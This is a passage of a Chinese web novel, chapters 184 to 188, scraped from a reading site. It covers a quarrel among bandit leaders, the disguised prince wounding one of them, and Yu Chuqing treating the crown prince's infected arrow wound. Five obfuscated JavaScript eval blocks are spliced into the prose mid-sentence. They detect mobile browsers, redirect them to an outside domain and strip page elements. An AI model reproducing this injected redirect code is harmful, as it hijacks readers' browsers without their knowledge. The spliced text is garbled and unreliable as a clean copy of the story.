他不说这话还好,一说,常利对王瑞鹏的意见也就更大了:“你看看俞兄弟,你这般欺凌于他,他从来没责怪过你!他本性纯善,你老是这般针对他!” “老子怎么针对他了!”王瑞鹏心里一万个“**你娘”。 他瞪视着俞青,恨不能将俞青**万段。 偏偏在这时候,俞青只是顶着满脸无辜看着他,温温吞吞地说:“王堂主,虽说我不怪你,但你的脾气的确是应该改改了。希望咱们以后有话好好说,不要一言不合就动手。这一次次的事,若换个心眼小的,指不定得多恨你呢!” 他挽起袖子,露出了胳膊上的伤。 这是前天被王瑞鹏的刀风划破,伤口浅却长。 他弱弱地道:“我身子比较脆弱,身手比不得你神勇,很容易受伤的。” 用最无辜的语气,泡最浓的茶! 这一来,更是把常利对王瑞鹏的不满拉上了顶峰! 常利更加愤怒,看向常胜:“大哥,咱们如今尚未北上呢,他就这样对待自家兄弟。若是以后咱们成功拿下帝京,他怕是要把咱俩都不放眼里了!” 常家兄弟得人心的基础,历来都是足够讲义气、不会因为他们是头儿就小看任何一个兄弟。 可现在常利说的这一句话,颠覆了他从前的义薄云天形象。 将来成功…… 所以,常家兄弟以后是要称霸王! 王瑞鹏怒极:“常利……” 身边的谋士立即拉住他:“堂主莫要意气用事,目前最重要的,是拿下长宁郡啊!” 常利冷笑:“他若当真顾全大局,就不会有这些事了。” 身边的人差点拉不住王瑞鹏:“常利!你莫不是要为了这个娘儿们唧唧的小白脸,坏了我们多年兄弟感情!” 在他们吵吵闹闹的时候,萧风岚恢复了窝在角落不吭声的样子,像个鹌鹑一样。 绿茶一壶拉动战争,引战后完美隐身、深藏功与名。 第184章 别的事都能忍,这件事不能! 到了这时候,常胜不得不站出来主持公道了:“行了行了,自家兄弟吵吵闹闹的,传出去是要让人看笑话吗!” 各打五十大板:“二弟,你什么时候行事这般冲动了?王兄弟与咱们十几年的情谊,岂能因一点鸡毛蒜皮的事闹翻?” “王兄弟你也莫要激动,咱们都还没打过夏河就先内讧,如何成大事业?” 这一说,双方都冷静了。 和了稀泥后,常胜的目光落在桌上的舆图上,道:“等等吧,让探子送消息出来。萧景明即便是**,军心一时之间也不会大乱。常利说得对,朝廷的兵马除了萧景明还有其他将领,万一给我们做局呢?暂时不可轻举妄动!” “那要到什么时候?”王瑞鹏还是很急躁。 他不擅谋略,却着急想要立功。 尤其是,总被常利压一头,这种心情更加迫切了。 重点是:过去对自己极好的兄弟,因为俞青这么个小白脸,跟自己有了嫌隙,他不服,想要证明自己才是强者。 殊不知——人萧风岚跟他就不是一个赛道的! 常胜心里何尝不着急? 他拍了拍王瑞鹏的肩膀,道:“最多等五天,先确定萧景明的状况!” 说到正事,常利也不针对王瑞鹏了,道:“除了萧景明的生死要你确定,最好趁这个时候,鼓动其他将领心思浮动,我们才好趁虚而入!” “如何让他们人心浮动?”王瑞鹏冷静下来了,虽然还是在心里怨常利,还是忍了这口气。 常利看向常胜,道:“大哥,他们不是送消息来,说是……太子放了个女人进长宁郡大营?” 听到这个,萧风岚竖起耳朵。 他也收到了消息:喻初晴去了长宁郡大营,想来他们说的就是他家晴晴了! 果然—— 常胜说道:“不错,是永安县主喻初晴。” “两军交战,太子竟然带女人进军营!”王瑞鹏果然眼皮子很浅,哼了一声,道:“到了这时候还声色犬马,什么玩意儿!” 这话,萧风岚可不爱听。 他弱唧唧地举起手来,道:“我是听说过太子这个人的,据说冰清玉洁得很呐。虽然我不认识什么永安县主,但却晓得,太子连个侍妾都没有,也不可能带女人到军中乱搞吧?” 保护我方晴晴的声誉,迫在眉睫! 哪怕只是别人的谣传,他都不想喻初晴跟萧景明的名声扣在一起。 因为跟常利感情失和,如今王瑞鹏对俞青的不满达到了顶峰:“问你了吗?你在这里瞎插什么嘴!” “是可忍孰不可忍!”萧风岚梗着脖子,奶凶奶凶地呵斥他:“王堂主,我刨你家祖坟了吗你屡屡这般针对我!你数次砍伤我,我都没有跟你计较过,大度地原谅了你,你反倒是记恨起我来了!怎么,你武功高强,就可以不讲道理呗!” “我……”王瑞鹏被他激怒,立刻炸毛了,恨不能跳起来开始骂人。 常利上前一步,挡住了他虎视眈眈瞪视着俞青的视线,道:“你有什么不满,只管冲老子来,别再欺负我俞兄弟!” 有一说一,常利确实是义薄云天的人。 俞青救了他的命,又将他当做英雄一样崇拜,常利有一种为兄弟两肋插刀、肝脑涂地在所不惜的成就感。 王瑞鹏更生气了,口不择言地道:“副舵主处处维护这么个娘儿们玩意儿,你莫不是把他当成真娘儿们了!从前也不曾听说你有玩兔儿爷的喜好,看来是以前没遇上令你心动的,如今这苗头终于出现了!” 现场一片寂静。 这说辞,实在新鲜! 萧风岚瞪眼:“???” 不是,这是什么神发展? 骂他娘儿们不新鲜,怎么就成兔儿爷了! 他不是啊! 这话要是传到了晴晴耳朵里,他还能活吗? 别的事都能忍,这件事不能! 他“使出了吃奶的劲儿”,倏地拔出了一旁一个兄弟腰间的刀,便朝王瑞鹏砍过去! “你竟然骂我是兔儿爷!我堂堂八尺男儿,上对得起天地,下对得起兄弟,我也是有脾气的!你污蔑我的清白,老子跟你拼了!” 也是王瑞鹏说的话——常利跟俞青有一腿不正当关系,把所有人都砸懵了。 以至于俞青这么砍过来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693886|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,所有人的反应都慢了半拍! 以俞青的能力,想要伤王瑞鹏一根汗**,都是很难的。 没有任何人会认为:他能伤得了王瑞鹏! 甚至,王瑞鹏本人,看到俞青拔刀砍过来,也并不把俞青放在眼里。 只是轻飘飘地举刀、带着刀鞘去抵挡,压根没出什么力气。 然后—— 所有人都傻眼了! 俞青这一刀,狠狠砍在了王瑞鹏肩上! 一刀劈下去,顿时血流如注! “王兄弟!” “王堂主!” “瑞鹏!” 现场一片混乱。 常利愣了下,赶忙上前夺过俞青手里的刀,正要质问:你干什么呢! 俞青却先发制人,浑身发抖,张嘴开始痛哭:“呜呜呜……怎么会这样……他怎么不躲……我……我**了……我**了……我也不想的……我只是气不过……我不是兔儿爷……” “俞兄弟,你……”常胜本想质问的。 然而,见他一边哭一边嚎的话语,怒斥的话是一个字都出不了嘴。 常利见自家兄弟吓傻了,赶忙按住俞青的肩膀,安抚说道:“不怪你不怪你,是王瑞鹏说话太过分了,泥塑的菩萨尚且有三分脾气,更何况你好好一爷们,被他说成兔儿爷,胡乱造谣你我的关系!你不砍他,二哥也想**他的!” 王瑞鹏暴怒:“常利!到了这时候你还要给这搅屎棍说话,你还敢说你跟他没关系!” 他不说这话还好,一说,常利也怒极:“王瑞鹏!老子平日是太纵容你了是吧,什么屎盆子都敢往老子头上扣了!” 倏地拔刀! 眼瞧着要兄弟相残,常胜眼疾手快地按住他的手背,厉声喝道:“都给老子冷静下来!” 他们是匪徒出身。 没几个有文化的,反倒个个都是血性男儿。 平日里一点火星子都能爆裂,何况闹到这个份上。 老大开口,所有人都老实了。 只有俞青还在用双手捂着脸,哭:“我不想**的……呜呜呜……水叫他嘴臭……呜呜呜……” 第185章 人无语的时候,真的会笑 “好了!” 这件事的确是王瑞鹏的锅,俞青着实是受害者。 俞青哭哭啼啼的,常胜也是拿他没办法,开口安慰他:“你没**,王堂主人还好好活着呢!” 俞青一愣,放下了捂脸的双手,看向坐在一旁、上衣已经扒掉、兄弟们正在给他处理伤口的王瑞鹏。 “哦,王堂主命真大。”他眼睫毛上还挂着泪珠儿,怔怔然说道:“我那么用力劈下去,王堂主还好好的。” 他冲王瑞鹏竖起了大拇指:“果然是英雄!” 王瑞鹏:“……” 气死。 但,又觉得跟这二傻子生气的自己,才是个二傻子! 他愤怒地扭头,不去看俞青。 常胜却没有放过斥责他:“王兄弟你应该自省,今日这一刀,得亏俞兄弟是自己人,倘若是敌人,你方才那敷衍地防守,必定会送掉你的命!开战在即,你这般不带脑子,是要我们折断一臂吗!” 王瑞鹏张嘴,哑口无言。 还真的是! 他看不起俞青,根本就没对俞青有什么防备,假如换常利劈了这一刀过来,绝对伤不到他。 因为他会全力以赴。 但看见是俞青,他根本不把俞青放在眼里,轻敌之下被砍成了这样。 肩头的伤虽然不算重,但也砍下去半寸深,血流得多。 然而—— 话说回来,俞青的力气,平时好像没这么大? 人在气极的时候,力道会变大很正常。 但他举刀鞘防守了,竟对俞青这一刀毫无招架之力、俞青一刀下来的瞬间仿若有雷霆万钧之势,完全超乎他的想象…… 这,合理吗? 王瑞鹏狐疑的目光,落在了萧风岚头上,质问道:“俞青,你当真从未习武?” “啊?”萧风岚一愣,顶着一张可怜巴巴的俊脸,茫然无辜地与王瑞鹏对视,张口否认:“谁说我没有习武的来着?” 众人一愣:“……” 难道他们都瞎了眼? 却见他又道:“虽说我从小不得宠,还老被欺负,可我也是大户人家的公子,我也是习武出身的好不好?君子六艺,你懂不懂……罢了,你没读过书、说了你也不懂!反正我就是从小习武的来着,是你们看不起我,老觉得我菜。我不是说过吗?我有肌肉的,我有的是力气和手段!” 众人:“……” 这厮总是如此看得起自己! 绣花枕头一只,说他花拳绣腿都是抬举,他好意思说他习武出身? 竟然怀疑俞青会武功,他们不是瞎了眼,而是脑子坏掉了! 他但凡真有力气和手段,还能一次次被王瑞鹏砍得像孙子? 非要说手段,也就是一天天的讨好常利,让常利心疼他罢了! 可显然,俞青没有自知之明啊。 他信誓旦旦地道:“哼!我只是长得没有你们强壮,那是因为你们比我多吃了十几年的饭!再给我十八年,我一定练得比你们强!” 众人:“……” 人无语的时候,真的会笑! 还别说,这小子没啥能力,招笑这方面是一等一的强。 明明他没什么本事,但大部分都喜欢他,就因为这一点:他能给人带来欢乐! 常利实在是没眼看,道:“好啦好啦。过往王兄弟砍了你那么多次,这一次也是他自己没出全力防守,就算你们扯平了。他若跟你计较,二哥给你跟他清算总账!” “哦。”萧风岚睁着一双眼睛,瞪向王瑞鹏,眼里是满满的质疑:“王堂主,是真的不会跟我计较吗?” “滚你丫的!老子没你这么小心眼!”王瑞鹏吃痛了,反而冷静下来了。 想到方才自己说的那些话,是个男人都听不得。 自己是个武功不弱的猛汉,竟然被个娘儿们唧唧的臭小子给砍伤了,说出去都丢脸,如果还要追责,更丢人丢到姥姥家。 他自然不可能为这件事斤斤计较。 “你才小心眼,你全家小心眼!”萧风岚瘪着嘴道:“我本来想,人是我砍的,做错了事,是不是要照顾王堂主的饮食起居几日。可既然你叫我滚,那我就真滚了。” 他泪洒营帐,果断溜了。 无人阻拦。 实在是他过往的形象太过深入人心,没谁会怀疑他。 常利更是无脑宠自己的救命恩人:“今日之事,说来说去还是王兄弟不对!谁让你口无遮拦的?咱们这些粗人平日里说些浑话也就算了,他是个读书人,读书人的气节高于一切!你说他堂堂男儿是兔儿爷,谁受得了,**你都是你活该!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693887|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王瑞鹏理亏,黑着脸不吭声,挨了这顿骂。 他不再搞事儿,事情也就过去了。 **散了,最终敲定的是:安插内应挑拨离间,弄散对方的军心,等南征军人心浮动的时候,一举进攻! 至于如何搅乱对方的军心…… 那个永安县主喻初晴,便是最好的切入点! 受了伤的王瑞鹏先行离去,常利也快步出帐篷——他想去安慰安慰俞兄弟,并且希望开战的时候,俞青回淮明郡去避一避。 所有人都走后,常胜盯着地上的血迹,在脑子里复盘:方才俞青砍王瑞鹏的那一刀。 都说人在暴怒的时候,力气会增大无数倍。 但俞青平时手无缚鸡之力,王瑞鹏又是常家军麾下一员猛将,即便是随手一挥刀,都绝无可能被俞青砍中。 遑论,一刀下去伤口竟有半寸深! 若不是意外…… 俞青,莫非真能隐藏得那么好? 萧风岚这边。 他坐在自己的小帐篷里,不多时常利便来了。 听说要让他走,他瞪圆了眼睛:“常二哥,你要赶我走吗?” 常利苦口婆心劝说:“俞兄弟,你听二哥一句劝。一旦开战,刀剑无眼。虽说是咱们进攻对岸,但退一万步讲,万一咱们后方失守了呢?到时候二哥只管上阵杀敌,是真顾不上你的!” “那不是还有其他兄弟吗?”俞青这句话说得一脸天真。 常利严肃了神情:“俞兄弟与二哥我是有过命的交情,可你与其他人却是没有!你真以为,每个人都能想二哥这样愿意豁出性命保护你?” 俞青抿了抿唇:“哦,倒也是。” “听二哥话,这两日你就去淮明郡。”常利安排得很好:“银子啥的都给你准备好了,朝廷的兵马是不会伤百姓的,到时候你就是普通老百姓,不会有事。你乖一点,让二哥没有后顾之忧,省得我在前头杀敌,还要担心你是不是被欺负了。” “哦!我都听常二哥的。”俞青很乖地答应了:“那二哥你给我保证,你一定要好好的!” 常利被逗笑了:“行,二哥给你保证:一定好好地回来见你!” 于是,常利打算在开战前,亲自送俞青去淮明郡。 不料,常胜却阻拦了他! 第186章 事情要做,但不能盲目地做 他不容分说地道:“俞兄弟留下,开战在即,后厨得跟上。让俞兄弟去伙房帮忙!” “可是……” 常利想要劝说,却被常胜一个眼神制止。 他们是亲兄弟,但从小到大常利还真的是什么都听他哥的。 “二弟,这件事听我的,没有可是!” 若是常胜坚持的事,常利是真无法反驳:“那行吧,我叫几个人看顾着点他。” 想到伙房在后方,他虽然有些担心俞青的安危,却也实在不好说什么。 于是,常利便让张四等人多多帮照顾点俞青。 他却不知晓,常胜暗中吩咐自己的亲信:“你们在伙房选几个可靠的,盯着俞青。一旦他有诡异行为,立即将他拿下,必要时可将他击毙,无需经过我同意!此事……别让二弟知晓。” 这件事常利被蒙在鼓里,俞青更是不知道。 而长宁郡大营这边。 太子中箭后,伤口感染,当晚高热不退,军医束手无策。 好在,喻初晴在营中。 但她没有第一时间就将活儿揽过来,而是叮嘱喻尚武:“二哥,你在太子身边留意着,可提醒他们我会医术的事。” “啊?”喻尚武不理解:“这军中的大夫,我看比不上你,你怎么不直接帮太子治伤?” 当即得来喻昔词一个冷眼:“问的什么蠢问题!” 喻慕文深以为然:“二哥,你的脑筋能不能多转一道弯儿?” 就连喻今歌都明白这个道理:“我姐说自己会医术,那群军医能信?上赶着的不是买卖,我姐急吼吼地去给太子治伤,说不定不但得不到感激,还会被奚落、被嘲弄!” 半大少年冷哼道:“再说了,我姐与太子男女有别,她一姑娘家这么着急一个男子的死活,等下太子自作多情认为我姐爱他爱得不行,怎么办?” 都说得这么透了,喻尚武总算明白过来:“那……我就提醒一下,得让他们自己来请晴晴去帮忙?” “嗯。”喻初晴确定了这个决定:“创口感染高烧不退,先前在临夏山庄我已经备妥了药物了,早就预防着这一天。” 住临夏山庄的时候,她是不是去一趟建京,也是去购买药材,做很多准备。 “二哥你等着吧,姐她不会让太子死在这里的。”喻今歌每天帮她挑选药材、舂药捣药。 喻初晴给他说过行事准则:事情要做,但不能盲目地做。同样的事,在不同的时间去做,得到的结果也是不一样的! “哦。”喻尚武好像理解了,又好像没弄懂。 不管了,反正哥哥弟弟妹妹都比他聪明,在他们面前他的脑袋瓜子形同虚设,那还动什么脑子? 听就完了! 他出去后,喻慕文问:“晴晴,金汁不是毒,在战场上却比毒还可怕。你确定能搞定?” “确定。”喻初晴一心二用,一边回答哥哥的问题,一边看摆在面前的军事舆图。 金汁这东西,说来好听,其实就是粪水类。 制毒淬毒是需要成本的,动物粪便、人类粪便却不需要什么成本。 这玩意儿是细菌天堂,军事对垒中,羽箭的尖端涂满金汁,一旦射入皮肉,细菌迅速繁殖,人体无法抵抗。 古代战争中,拼的就是人数战力的优势。 让对手失去战斗力,才是核心。 一旦中箭,是很难存活的,意志力强悍的将士也许不怕倒钩倒刺,剜肉之痛都能忍。 可一旦涂上金汁,他们就很容易死于伤口感染、发脓溃烂、高烧不退。 开战后,多少兵将死于这玩意儿上面,军医也只能是按常规治疗,剩下的听天由命。 但喻初晴却早有应对。 来了大燕朝五年,知道古代消炎药很难得,早就做了打算——中西合璧。 所有消炎用的中草药,她都尽可能研究过,济春堂内还开了一个药房,专门培养青霉红霉,研究极简青霉素、红霉素。 萧景明的伤,也用得上! “那便等着看,太子身边的幕僚聪不聪明了。”喻慕文缓缓捻过一粒佛珠。 喻昔词却是看着帐篷外面,唇角勾起一抹笑意:“只怕是,不容乐观。” 太子身边的人,想法也多半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699526|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是高高在上的。 他们可以接受太子有心仪的对象,并且尊敬日后的太子妃。 但, 一来,在他们眼里,即便是太子妃也不过是一个女人——太子的女人! 二来,喻初晴还不是太子妃! 因此,喻初晴的做法实在是太聪明了! 夜里,喻尚武当值。 军医在太子营帐进进出出,个个想尽办法给太子退热,效果却不太明显。 即便是偶尔退下去了,没过几个时辰又重新烧起来。 一开始,萧景明意识还算清明,两日过后已经有些意识模糊,昏睡的时间比醒着的时候多。 夜里,热度又高起来了。 清风明月与春兰秋菊四人,忙得团团转。 “快叫军医过来!” 奈何,几名军医都来了,却并不顶什么用。 “殿下一直这样下去,身子怕是受不住啊!”其中一名军医忧心忡忡:“咱们这些做军医的,都只是治疗外伤。却不知,太医可有什么好办法?” 太子南征,是带了随行太医的。 可这已经是中箭第三日了,若能治好,还用等现在么? “老朽**医多年所得,也已经尽力了。” 听到太医也这么说,清风急了:“李太医,这可是太子殿下!” 李太医叹息:“即便是皇上,老朽也只能说继续开药治伤,能不能挺过去,依然要看伤患本身!” 一行人都出去忙了,留下四名亲信。 清风眼睛都红了:“难道,殿下就只能听天由命了吗?” 明月愤怒不已:“殿下的计划怎么会有错漏!” 筛除细作,他们基本已经知道是哪几个,一直防备着。 太子设局,请君入瓮。 原是打算故意受伤装死的。 谁知道,真中了一箭! 他们都在怀疑,内应根本没有拔除干净! 春兰迟疑了一下,道:“永安县主不是也在营中么?殿下那一次****,也是永安县主救的命。为何你们都不愿意去请她过来?” 第187章 表面温婉端庄,实际睚眦必报 其实,春兰秋菊二人提出要请喻初晴来给太子治伤,并不是第一次。 只不过,都被他们否定了。 因此,春兰再次提出,也是十分忐忑。 这也是方才她去外面端热水的时候,当值的喻尚武给她提了醒:春兰姑娘,我妹妹医术还不错的。此事你还是过问殿下的意思,是不是让她过来?左右,太医与军医不都只能死马当活马医了么? 他这话说得很难听。 若在宫里这么说话,肯定要被斥责了。 但此时不在宫里、不在京中。 而春兰的脾气也算温和,自不会与他计较,反而还把他的话放心上了。 听了春兰的话,清风一顿,看向明月。 明月道:“我赞同,试试吧。” 毕竟上回给太子解毒救命,是明月在一旁伺候的。 清风没有亲眼见过,依旧持怀疑态度:“太医毫无良策,军中的大夫更是对治伤有经验,他们都没办法,永安县主的医术真有这么厉害?” “不试试看,怎么知道结果?”春兰自己也是女子,如何不知:他们其实不是不相信喻初晴会医术,而是不认为女子能力在男人之上! 没得选的时候,不得不选喻初晴。 有得选的情况下,绝对不会首选喻初晴! “就试试吧。”明月劝说清风:“不宜再拖,万一响马盗在这时候进攻……” 清风也实在是没有办法,只得答应了。 不多时,便将永安县主请了过来。 喻初晴带着喻今歌过来给自己打下手,一来是让喻今歌有临床经验,二来是避嫌。 见状,喻尚武也跟着进来,守在营帐内。 诊脉结束,清风急切地问:“县主大人,殿下情况如何?” “需要看伤口。”喻初晴语气淡淡:“春兰姑娘,给殿下把绷带解开让我瞧瞧。” 春兰正要动手。 清风蹙眉:“县主毕竟是女子,男女有别,这样……” 尽管知晓自家主子心仪喻初晴,可婚约未定,万一出了岔子,永安县主赖上太子了,怎么办? 喻初晴一点儿也不着急,她甚至没有说话,只是用淡然偏冷的眸光,瞥向清风。 已经将医箱打开的喻今歌不满了,砰地把药箱的盖子落下,道:“姐,清风大人也都是为了你的闺誉考量,不若就听他的吧!” 清风吃了一瘪。 明月拽了拽他,上前一步抱拳为礼:“恳请县主不吝出手!” 太子昏迷的时间越来越长,他们赌不起! 又转头看向春兰:“春兰姑娘,听县主的。” 春兰便把绷带解开了。 喻初晴并没有去碰触萧景明,而是吩咐:“春兰秋菊姑娘,二位拿灯把光线弄亮一些。今歌,你去检查伤口,告知于我。” 笑话。 他们喜欢让萧景明给她小弟当小白鼠,她求之不得。 清风怕她赖上太子,她还怕太子赖上自己呢! 这种时候,她自然是能避嫌尽量避嫌。 几人听言照办。 喻初晴便站在板床外面,听喻今歌给自己讲述:“姐,伤处虽然上了药,血是止住了,但伤口已经有溃脓的迹象。刚三天呢,这金汁好生厉害!” “讲一下伤口的具体状况。”喻初晴问。 喻今歌答道:“箭伤,太医拔箭的手法应该算好的,但架不住倒钩拉扯,伤口一片模糊。” “有多深看不出来,创口约两个指节多一点点。在污血与药物的混合下,加上溃脓,流出来的颜色是偏褐色的了。” “伤口当胸,在心脏上方,估摸着擦到了胸骨,不确定是否损伤骨头。但可以确定,伤到了肺部。” 他又检查了其他地方,道:“未见其他伤处。” 做完了,他站直了身子:“完毕!” “你再诊脉。”喻初晴又吩咐。 清风明月再迟钝,也能看出来:这是给她带学徒用的呢! 太医都不敢用太子殿下当教具! 明月拧眉问:“县主,喻小公子是初学者吧?” 喻初晴朝清风看了一眼,语气很温和,似笑非笑地道:“男女有别,没办法。不是吗?清风统领!” 清风气息一窒。 喻初晴笑了笑,又说了句:“放心吧,治伤重点在用药。我的药,我独步天下的!” 就是这么自信! 清风张嘴,想说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699527|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,对上喻初晴凉凉的眼神,又咽了回去。 明月更是拽了拽他,让他闭嘴。 想想这位被南阳侯府赶走后,侯府落到了什么下场——说是跟她喻初晴没关系,可能吗? 表面上这位温婉端庄,实际上睚眦必报! 俗话说,会叫的狗不咬人,不会打鸣的母鸡却能叮死蛇! 喻今歌已经诊脉完毕,站起来汇报了太子的脉象。 旋即说出自己的看法:“姐,殿下现在没有性命危险,但若一直这么高热不退下去,伤口继续溃烂不治,殿下后半辈子都会落下后遗症的!” 听说这么严重,清风明月和春兰秋菊都变了脸色。 “小弟进步飞快,说的不错。”喻初晴淡然道:“外科的伤还是比较好辨认。” 她转头问:“几位是太子殿下的亲信,此时殿下昏迷不醒,是否要让我用药,还请明示。” 迟疑片刻,清风问:“县主大人,可否与太医合诊?” 喻初晴朱唇轻启:“不可。” 拒绝得很果断。 清风一噎:“为何?殿下万金之躯,通常都是数名太医合诊的!” “嗯,我懂。”喻初晴面色淡淡,语气更淡:“但我历来是独诊的。我也可以告诉你们原因——万一出什么差错,我一力承担无需连累旁人;同样的,我也不会被旁人连累!” 这一说法,令众人哑然。 绝! 太绝了! 喻初晴微微一笑,头一歪,给了他们询问的眼神。 清风明月还在犹豫。 怨不得他们谨慎,若是太子在这里有个三长两短,回去帝京他们也都是要陪葬的! 就在几人举棋不定之时,喻今歌忽然道:“太子殿下醒了!” 还别说,喻今歌的确有学医的天赋,诊脉准确、观察力惊人。 喻慕文带他读书、喻尚武带他习武,他都学得还行。 却远远不如喻初晴带他学医入门的速度,以及他发散思维辨症能力! 这才学了多久,就已经完全入门,喻初晴都嫉妒。 见太子醒了,喻初晴上前一步,道:“殿下,臣女要独立为你治伤,拒绝合诊,需要您首肯。” 第188章 多好的试验品啊! 萧景明得过喻初晴救命之恩,哪有不相信她的医术的可能? 他立即点头同意了。 但尽管如此,她还是自己口述、让喻今歌代劳——开玩笑,万一太子说他们有肌肤之亲,要她负责怎么办! “先把麻沸散喝下去。” “小弟,在他的伤口周边涂上麻药……范围再宽一些……好,就是这样。” 询问过萧景明的感受后,确定麻药已经开始起作用了。 喻初晴又吩咐:“一号手术刀消毒,将已经溃脓的烂肉割除。” 她对萧景明说道:“殿下,清创会比较疼,请你忍忍。” 春兰立即拿了干净的帕子,给萧景明咬住。 萧景明虽然是高高在上的储君,养尊处优长大的,但他的意志力还是挺强悍的。 咬住帕子后,尽管不断发出闷哼声,却还是挺了过去。 时代生产力限制,麻药的作用是有限的。 拔箭时,伤口附近的肉都抠烂了,此时二次清创要割掉烂肉,只会更疼。 他满头都是冷汗,却硬生生持续到清理完了都没晕过去。 “姐,已经差不多了,你看看呢?”喻今歌放下喻初晴特制的一号手术刀。 喻初晴上前观察,这时候伤口的深度已经看得差不多了。 她吩咐:“里面还有要处理的,用二号刀,将里面清除干净。” 又是一番折磨。 众人只觉得,看着都疼! 而受着苦难的人,竟是太子啊! 喻初晴冷静如斯,对萧景明高看一眼。同时,对此人又更忌惮两分。 对自己狠的人,对别人只会更狠,通常都能干大事,咬人的时候也会死不松嘴! 清创终于结束,萧景明终究是没扛住,晕了过去。 喻初晴开始指导喻今歌给太子敷药。 麻药正在逐渐消退,特制的伤药刺激伤处的疼痛,又让萧景明醒了过来。 他朦胧的眼神盯着喻初晴,尽管看不真切,目光却不曾移开过,仿佛在说:孤能忍得过剜肉刮骨的痛,对自己想要的人,自然也是咬定青山不放松! 喻初晴将他眼底里的执念看在眼里,唇角微微向下一抿。 呵,这样的人,她怎么放心扶他上去? 但她没有任何表现,甚至还温和安抚:“殿下再忍忍,我做的药效果很好,忍过今日明日的疼痛,到后日便好很多了。” 萧景明还咬着帕子呢,牙关都咬疼了。 他说不了话,只轻轻点了点头。 喻今歌手很巧,从小做围裙小保姆的少年,特别适合干细致的活儿,伤口包扎得很仔细。 “好,接下来是开药。”喻初晴转身走到一旁,道:“小弟,你先试试。” 到了开药环节,喻今歌就有些头疼了。 他是学医天才,但天才又不是脑子里自带医学传承,没有多年沉淀也是办不成的。 喻初晴看了他开的药方子,自己也在旁边写了一张,道:“你抄下来,拿回去自己体会,不懂的再来问我。” “好!”喻今歌心里对这个太子感激得五体投地。 多好的试验品啊! 最后用的,自然是喻初晴的方子——主要是退热、镇痛、消炎。 弄完后,她又留下照顾伤患的医嘱,便道:“有事再去找我,我走了。” “啊?”春兰下意识道:“县主不在外头随侍么?” 一直不吭声的喻尚武终于开口:“我值守,让我妹妹回去歇息!” 清风明月都朝喻尚武看去,倒是没说什么。 喻初晴又道:“殿下的病症,你们把消息放出去,就说……群医束手无策,我也无能为力。殿下始终昏迷不醒,恐有性命之忧!” “明白。”清风颔首。 这些事,就是他们擅长的、并且是太子交代过的。 喻初晴便带着喻今歌离开帅帐。 她并没有直接回自己的营帐,而是非要在营地里兜圈子。 确保,所有将领都知道她一介女流在军营中,即便没亲眼看见的,也会听其他人说到。 同时,萧景明安排传播谣言的也把各种各样的**放了出去。 基本为三点: 一,太子重伤,快**; 二,太子同意,让永安县主喻初晴做主帅帐事宜; 三,左先锋与右先锋两位少将军,因为一个不满喻初晴名不正言不顺地坐镇帅帐,另一个赞成,双方大打出手。 短短三日过去,南征军中几名少将军分为两派,其一愿意听从喻初晴的,另一反对喻初晴,指责她牝鸡司晨。 一时之间,闹得不可开交。 南征军,因为太子重伤不治,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699528|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹得不可开交,人心惶惶、心思各异。 消息也传到了淮明郡大营。 萧风岚在伙房。 照例闯点小祸——譬如,不小心把柴火堆给烧了,虽然救回来大半仍有损失;被锅烫到手,将蒸笼给摔了,一蒸笼几十碗蒸肉毁了;剁骨头的时候,差点把隔壁小李的手给剁了;蒸鱼,没剖腹就上蒸笼了…… 如此种种。 